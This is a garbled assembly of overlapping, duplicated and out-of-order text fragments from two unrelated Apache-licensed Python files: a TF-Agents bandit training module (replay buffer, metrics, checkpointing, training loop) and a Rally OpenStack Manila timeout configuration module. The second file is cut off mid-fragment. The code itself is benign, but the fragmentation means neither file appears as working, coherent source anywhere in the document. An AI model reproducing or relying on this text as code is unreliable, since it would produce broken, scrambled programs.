"list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else:", "loop.\"\"\" driver.run() batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps,", "log, in addition to default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`.", "an integer indicating how many training loops should be run.", "tf_agents.drivers import dynamic_step_driver from tf_agents.eval import metric_utils from tf_agents.metrics import", "loop with configurable metrics. if training_data_spec_transformation_fn is None: data_spec =", "replay_buffer: an instance of `ReplayBuffer`. agent: an instance of `TFAgent`.", "\"\"\" # TODO(b/127641485): create evaluation loop with configurable metrics. if", "`step_metric` records the number of individual rounds of bandit interaction;", "by applicable law or agreed to in writing, software #", "disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch observers = [add_batch_fn, step_metric]", "driver and training loops. Args: driver: an instance of `Driver`.", "`ReplayBuffer`. agent: an instance of `TFAgent`. steps: an integer indicating", "in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save()", "training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric` records", "replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch observers", "addition to default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional", "def get_training_loop_fn(driver, replay_buffer, agent, steps): \"\"\"Returns a `tf.function` that runs", "one or more baseline_reward_fns are provided, the regret is computed", "metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint", "loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): \"\"\"Restores from", "if isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics", "individual rounds of bandit interaction; # that is, (number of", "a `tf.function` that runs the training loop.\"\"\" driver.run() batch_size =", "the maximum reward return optimal_action_reward Args: root_dir: path to the", "the directory where checkpoints and metrics will be written. agent:", "else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop)", "summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in range(training_loops): training_loop() metric_utils.log_metrics(metrics)", "scratch.') return checkpoint_manager def train(root_dir, agent, environment, training_loops, steps_per_loop, additional_metrics=(),", "will be written. agent: an instance of `TFAgent`. environment: an", "tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps): def", "default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that", "# Copyright 2020 The TF-Agents Authors. # # Licensed under", "reward for each arm optimal_action_reward = ... # take the", "presented to the trainer during each training loop. additional_metrics: Tuple", "each training loop. \"\"\" def training_loop(): \"\"\"Returns a `tf.function` that", "single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience)", "root_dir, agent, metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy,", "summary_writer.set_as_default() for i in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric in", "# pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver from tf_agents.eval import", "replay buffer. \"\"\" # TODO(b/127641485): create evaluation loop with configurable", "them. Here is example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards =", "as tf # pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver from", "of them. Here is example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards", "run. steps_per_loop: an integer indicating how many driver steps should", "max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "`TFEnvironment`. training_loops: an integer indicating how many training loops should", "step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer =", "Unless required by applicable law or agreed to in writing,", "training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations of training. Checkpoint", "training loop. additional_metrics: Tuple of metric objects to log, in", "the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "from absl import logging import tensorflow as tf # pylint:", "TF-Agents training function for bandits.\"\"\" from __future__ import absolute_import from", "data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor,", "`Driver`. replay_buffer: an instance of `ReplayBuffer`. agent: an instance of", "the specific language governing permissions and # limitations under the", "'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec, batch_size,", "= tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps):", "tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics +=", "a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 #", "the License. r\"\"\"Generic TF-Agents training function for bandits.\"\"\" from __future__", "from __future__ import print_function import os from absl import logging", "training loops should be run. steps_per_loop: an integer indicating how", "each training loop. additional_metrics: Tuple of metric objects to log,", "applicable law or agreed to in writing, software # distributed", "] + list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(),", "steps: an integer indicating how many driver steps should be", "[tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn", "train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in range(training_loops): training_loop()", "range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if", "copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # #", "integer indicating how many driver steps should be executed and", "+= [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not None: add_batch_fn =", "import print_function import os from absl import logging import tensorflow", "restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver =", "in writing, software # distributed under the License is distributed", "each arm optimal_action_reward = ... # take the maximum reward", "dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset)", "from __future__ import division from __future__ import print_function import os", "loops. Args: driver: an instance of `Driver`. replay_buffer: an instance", "[ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics", "replay_buffer, agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric)", "environment: an instance of `TFEnvironment`. training_loops: an integer indicating how", "metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i % 100 ==", "= replay_buffer.add_batch observers = [add_batch_fn, step_metric] + metrics driver =", "def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape)", "Authors. # # Licensed under the Apache License, Version 2.0", "= tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX =", "sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver from tf_agents.eval import metric_utils", "the regret is computed against each one of them. Here", "baseline_reward_fns are provided, the regret is computed against each one", "env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop = get_training_loop_fn( driver,", "License, Version 2.0 (the \"License\"); # you may not use", "import tf_metrics from tf_agents.policies import policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer", "# You may obtain a copy of the License at", "metrics, step_metric): \"\"\"Restores from `root_dir` and returns a function that", "agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size,", "training_loop = get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager(", "results. If one or more baseline_reward_fns are provided, the regret", "The TF-Agents Authors. # # Licensed under the Apache License,", "def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): \"\"\"Restores from `root_dir` and returns", "loop. \"\"\" def training_loop(): \"\"\"Returns a `tf.function` that runs the", "metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not None: add_batch_fn", "written. agent: an instance of `TFAgent`. environment: an instance of", "checkpoint_manager def train(root_dir, agent, environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform", "driver, replay_buffer, agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent, metrics,", "are provided, the regret is computed against each one of", "driver.run() batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True)", "of metric objects to log, in addition to default metrics", "`AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that transforms the data", "arm optimal_action_reward = ... # take the maximum reward return", "the License for the specific language governing permissions and #", "and presented to the trainer during each training loop. \"\"\"", "is None: data_spec = agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec)", "import dynamic_step_driver from tf_agents.eval import metric_utils from tf_agents.metrics import tf_metrics", "before they get to the replay buffer. \"\"\" # TODO(b/127641485):", "Apache License, Version 2.0 (the \"License\"); # you may not", "restored to step %s.', step_metric.result()) else: logging.info('Did not find a", "either express or implied. # See the License for the", "License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "step_metric] + metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop *", "steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations of training. Checkpoint results.", "metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that transforms", "`TFAgent`. steps: an integer indicating how many driver steps should", "function for bandits.\"\"\" from __future__ import absolute_import from __future__ import", "permissions and # limitations under the License. r\"\"\"Generic TF-Agents training", "of `TFAgent`. steps: an integer indicating how many driver steps", "metric objects to log, in addition to default metrics `NumberOfEpisodes`,", "evaluation loop with configurable metrics. if training_data_spec_transformation_fn is None: data_spec", "agent, steps): \"\"\"Returns a `tf.function` that runs the driver and", "get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric` records the number of individual", "loss_info = agent.train(experience) replay_buffer.clear() return loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir,", "= agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager =", "driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info =", "set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda", "batch_size, steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer` for the given `agent`.\"\"\" buf", "metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if isinstance(environment.reward_spec(),", "= lambda data: replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn", "training_data_spec_transformation_fn is not None: add_batch_fn = lambda data: replay_buffer.add_batch( #", "instance of `TFAgent`. environment: an instance of `TFEnvironment`. training_loops: an", "STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop):", "return loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): \"\"\"Restores", "absolute_import from __future__ import division from __future__ import print_function import", "rounds of bandit interaction; # that is, (number of trajectories)", "import tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME =", "maximum reward return optimal_action_reward Args: root_dir: path to the directory", "governing permissions and # limitations under the License. r\"\"\"Generic TF-Agents", "find a pre-existing checkpoint. ' 'Starting from scratch.') return checkpoint_manager", "given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf", "instance of `ReplayBuffer`. agent: an instance of `TFAgent`. steps: an", "\"License\"); # you may not use this file except in", "= 'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return", "step %s.', step_metric.result()) else: logging.info('Did not find a pre-existing checkpoint.", "agent: an instance of `TFAgent`. environment: an instance of `TFEnvironment`.", "of `TFEnvironment`. training_loops: an integer indicating how many training loops", "max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if latest is not None: logging.info('Restoring", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "If one or more baseline_reward_fns are provided, the regret is", "the trainer during each training loop. \"\"\" def training_loop(): \"\"\"Returns", "num_steps): def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps", "training. Checkpoint results. If one or more baseline_reward_fns are provided,", "trainer during each training loop. additional_metrics: Tuple of metric objects", "# distributed under the License is distributed on an \"AS", "bandits.\"\"\" from __future__ import absolute_import from __future__ import division from", "an integer indicating how many driver steps should be executed", "# Unless required by applicable law or agreed to in", "observers = [add_batch_fn, step_metric] + metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment,", "agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric` records the", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "logging import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers", "for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric", "metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers)", "__future__ import division from __future__ import print_function import os from", "example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards = ... # compute", "trajectories) * batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(),", "You may obtain a copy of the License at #", "return training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): \"\"\"Restores from `root_dir`", "how many driver steps should be executed and presented to", "else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not None:", "and presented to the trainer during each training loop. additional_metrics:", "directory where checkpoints and metrics will be written. agent: an", "items before they get to the replay buffer. \"\"\" #", "the Apache License, Version 2.0 (the \"License\"); # you may", "training loop. \"\"\" def training_loop(): \"\"\"Returns a `tf.function` that runs", "'Starting from scratch.') return checkpoint_manager def train(root_dir, agent, environment, training_loops,", "of `TFAgent`. environment: an instance of `TFEnvironment`. training_loops: an integer", "latest = checkpoint_manager.latest_checkpoint if latest is not None: logging.info('Restoring checkpoint", "for i in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric in metrics:", "TF-Agents Authors. # # Licensed under the Apache License, Version", "many driver steps should be executed and presented to the" ]
[ "between checks when waiting for Manila share \" \"deletion.\"), cfg.FloatOpt(", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR", "may obtain # a copy of the License at #", "deprecated_group=\"benchmark\", help=\"Timeout for Manila share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\",", "help=\"Interval between checks when waiting for Manila access \" \"creation.\"),", "# All Rights Reserved. # # Licensed under the Apache", "# # Licensed under the Apache License, Version 2.0 (the", "between checks when waiting for Manila access \" \"creation.\"), cfg.FloatOpt(", "All Rights Reserved. # # Licensed under the Apache License,", "agreed to in writing, software # distributed under the License", "Unless required by applicable law or agreed to in writing,", "between checks when waiting for Manila share \" \"creation.\"), cfg.FloatOpt(", "help=\"Timeout for Manila access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval", "\"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila", "\"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\",", "default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0,", "distributed under the License is distributed on an \"AS IS\"", "deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila share \"", "help=\"Timeout for Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval", "waiting for Manila share \" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\",", "\"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila", "cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for", "access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when", "OPTS = {\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay between", "between creating Manila share and polling for its \" \"status.\"),", "cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for", "License, Version 2.0 (the \"License\"); you may # not use", "CONDITIONS OF ANY KIND, either express or implied. See the", "[ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay between creating Manila share", "obtain # a copy of the License at # #", "applicable law or agreed to in writing, software # distributed", "Manila access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "between checks when waiting for Manila access \" \"deletion.\"), ]}", "help=\"Delay between creating Manila share and polling for its \"", "Version 2.0 (the \"License\"); you may # not use this", "specific language governing permissions and limitations # under the License.", "\"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access creation.\"),", "# not use this file except in compliance with the", "not use this file except in compliance with the License.", "OF ANY KIND, either express or implied. See the #", "\"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\",", "Manila share \" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for", "Manila access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks", "writing, software # distributed under the License is distributed on", "access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when", "WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express", "in writing, software # distributed under the License is distributed", "and polling for its \" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\",", "share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when", "\"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila", "in compliance with the License. You may obtain # a", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "License for the specific language governing permissions and limitations #", "help=\"Timeout for Manila access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval", "share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when", "when waiting for Manila share \" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0,", "Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks", "cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for", "the License. You may obtain # a copy of the", "an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF", "on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS", "use this file except in compliance with the License. You", "You may obtain # a copy of the License at", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "checks when waiting for Manila access \" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\",", "rally.common import cfg OPTS = {\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0,", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "\"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\",", "Rights Reserved. # # Licensed under the Apache License, Version", "deprecated_group=\"benchmark\", help=\"Delay between creating Manila share and polling for its", "Manila share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks", "\" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access", "2013: Mirantis Inc. # All Rights Reserved. # # Licensed", "# Copyright 2013: Mirantis Inc. # All Rights Reserved. #", "<filename>rally_openstack/cfg/manila.py # Copyright 2013: Mirantis Inc. # All Rights Reserved.", "\"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay between creating Manila share and polling", "either express or implied. See the # License for the", "default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0,", "cfg OPTS = {\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay", "when waiting for Manila access \" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0,", "under the License is distributed on an \"AS IS\" BASIS,", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "for Manila share \" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout", "may # not use this file except in compliance with", "help=\"Interval between checks when waiting for Manila share \" \"creation.\"),", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "Inc. # All Rights Reserved. # # Licensed under the", "for Manila access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between", "creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting", "\"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access deletion.\"),", "License is distributed on an \"AS IS\" BASIS, WITHOUT #", "with the License. You may obtain # a copy of", "KIND, either express or implied. See the # License for", "# License for the specific language governing permissions and limitations", "Reserved. # # Licensed under the Apache License, Version 2.0", "governing permissions and limitations # under the License. from rally.common", "for its \" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for", "help=\"Interval between checks when waiting for Manila access \" \"deletion.\"),", "you may # not use this file except in compliance", "\"License\"); you may # not use this file except in", "\"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share creation.\"),", "\"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila", "and limitations # under the License. from rally.common import cfg", "deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting", "IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,", "express or implied. See the # License for the specific", "its \" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila", "this file except in compliance with the License. You may", "language governing permissions and limitations # under the License. from", "compliance with the License. You may obtain # a copy", "waiting for Manila share \" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\",", "the Apache License, Version 2.0 (the \"License\"); you may #", "help=\"Timeout for Manila share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval", "Mirantis Inc. # All Rights Reserved. # # Licensed under", "help=\"Interval between checks when waiting for Manila share \" \"deletion.\"),", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "\" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share", "Manila access \" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for", "waiting for Manila access \" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\",", "when waiting for Manila share \" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0,", "creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting", "# WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting", "See the # License for the specific language governing permissions", "cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for", "software # distributed under the License is distributed on an", "(the \"License\"); you may # not use this file except", "for Manila access \" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout", "checks when waiting for Manila share \" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\",", "deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila access \"", "\" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share", "Manila share \" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for", "the License is distributed on an \"AS IS\" BASIS, WITHOUT", "the # License for the specific language governing permissions and", "\" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access", "# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "# # Unless required by applicable law or agreed to", "\"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share deletion.\"),", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share creation.\"), cfg.FloatOpt(", "file except in compliance with the License. You may obtain", "cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay between creating Manila share and", "License. from rally.common import cfg OPTS = {\"openstack\": [ cfg.FloatOpt(", "for the 